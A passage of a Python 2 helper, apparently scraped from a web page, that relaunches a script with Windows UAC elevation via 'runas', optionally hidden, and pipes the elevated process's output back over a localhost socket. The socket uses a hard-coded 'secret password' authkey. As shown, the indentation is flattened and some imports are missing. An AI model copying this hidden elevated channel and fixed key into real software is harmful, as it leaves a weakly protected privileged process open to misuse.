self.cnt+=1
__builtin__.print(*args, **kwargs, file=mystdout, end = '')
#handles "\n" wherever it is, however usually is or string or \n
if "\n" not in mystdout.getvalue():
if mystdout.getvalue() != "\n":
#__builtin__.print("A:",mystdout.getvalue(), file=self.kind, end='')
self.old += mystdout.getvalue()
else:
#__builtin__.print("B:",mystdout.getvalue(), file=self.kind, end='')
if wrconn is not None:
wrconn.send(dbz[1]+self.old)
else:
__builtin__.print(dbz[2]+self.old+ mystdout.getvalue(), file=self.kind, end='')
self.kind.flush()
self.old=""
else:
vv = mystdout.getvalue().split("\n")
#__builtin__.print("V:",vv, file=self.kind, end='')
for el in vv[:-1]:
if wrconn is not None:
wrconn.send(dbz[0]+self.old+el)
self.old = ""
else:
__builtin__.print(dbz[3]+self.old+ el+"\n", file=self.kind, end='')
self.kind.flush()
self.old=""
self.old=vv[-1]
def open(self):
pass
def close(self):
pass
def flush(self):
pass
def isUserAdmin():
if os.name == 'nt':
import ctypes
# WARNING: requires Windows XP SP2 or higher!
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
traceback.print_exc()
print ("Admin check failed, assuming not an admin.")
return False
elif os.name == 'posix':
# Check for root on Posix
return os.getuid() == 0
else:
print("Unsupported operating system for this module: %s" % (os.name,))
exit()
#raise (RuntimeError, "Unsupported operating system for this module: %s" % (os.name,))
def runAsAdmin(cmdLine=None, wait=True, hidden=False):
if os.name != 'nt':
raise (RuntimeError, "This function is only implemented on Windows.")
import win32api, win32con, win32process
from win32com.shell.shell import ShellExecuteEx
python_exe = sys.executable
arb=""
if cmdLine is None:
cmdLine = [python_exe] + sys.argv
elif not isinstance(cmdLine, (tuple, list)):
if isinstance(cmdLine, (str)):
arb=cmdLine
cmdLine = [python_exe] + sys.argv
print("original user", arb)
else:
raise( ValueError, "cmdLine is not a sequence.")
cmd = '"%s"' % (cmdLine[0],)
params = " ".join(['"%s"' % (x,) for x in cmdLine[1:]])
if len(arb) > 0:
params += " "+arb
cmdDir = ''
if hidden:
showCmd = win32con.SW_HIDE
else:
showCmd = win32con.SW_SHOWNORMAL
lpVerb = 'runas' # causes UAC elevation prompt.
# print "Running", cmd, params
# ShellExecute() doesn't seem to allow us to fetch the PID or handle
# of the process, so we can't get anything useful from it. Therefore
# the more complex ShellExecuteEx() must be used.
# procHandle = win32api.ShellExecute(0, lpVerb, cmd, params, cmdDir, showCmd)
procInfo = ShellExecuteEx(nShow=showCmd,
fMask=64,
lpVerb=lpVerb,
lpFile=cmd,
lpParameters=params)
if wait:
procHandle = procInfo['hProcess']
obj = win32event.WaitForSingleObject(procHandle, win32event.INFINITE)
rc = win32process.GetExitCodeProcess(procHandle)
#print "Process handle %s returned code %s" % (procHandle, rc)
else:
rc = procInfo['hProcess']
return rc
# xlogger : a logger in the server/nonprivileged script
# tport : open port of communication, 0 for no comm [printf in nonprivileged window or silent]
# redir : redirect stdout and stderr from privileged instance
#errFile : redirect stderr to file from privileged instance
def elevateme(xlogger=None, tport=6000, redir=True, errFile=False):
global dbz
if not isUserAdmin():
print ("You're not an admin.", os.getpid(), "params: ", sys.argv)
import getpass
uname = getpass.getuser()
if (tport> 0):
address = ('localhost', tport) # family is deduced to be 'AF_INET'
listener = Listener(address, authkey=b'secret password')
rc = runAsAdmin(uname, wait=False, hidden=True)
if (tport> 0):
hr = win32event.WaitForSingleObject(rc, 40)
conn = listener.accept()
print ('connection accepted from', listener.last_accepted)
sys.stdout.flush()
while True:
msg = conn.recv()
# do something with msg
if msg == 'close':
conn.close()
break
else:
if msg.startswith(dbz[0]+LOGTAG):
if xlogger != None:
xlogger.write(msg[len(LOGTAG):])
else:
print("Missing a logger")
else:
print(msg)
sys.stdout.flush()
listener.close()
else: #no port connection, its silent
WaitForSingleObject(rc, INFINITE);
return False
else:
#redirect prints stdout on master, errors in error.txt
print("HIADM")
sys.stdout.flush()
if (tport > 0) and (redir):
vox= connFile(tport=tport)
sys.stdout=vox
if not errFile:
sys.stderr=vox
else:
vfrs=open("errFile.txt","w")
sys.stderr=vfrs
#print("HI ADMIN")
return True
def test():
rc = 0
if not isUserAdmin():
print ("You're not an admin.", os.getpid(), "params: ", sys.argv)
sys.stdout.flush()
#rc = runAsAdmin(["c:\\Windows\\notepad.exe"])
rc = runAsAdmin()
else:
print ("You are an admin!", os.getpid(), "params: ", sys.argv)
rc = 0
x = raw_input('Press Enter to exit.')
return rc
if __name__ == "__main__":
sys.exit(test())

Categories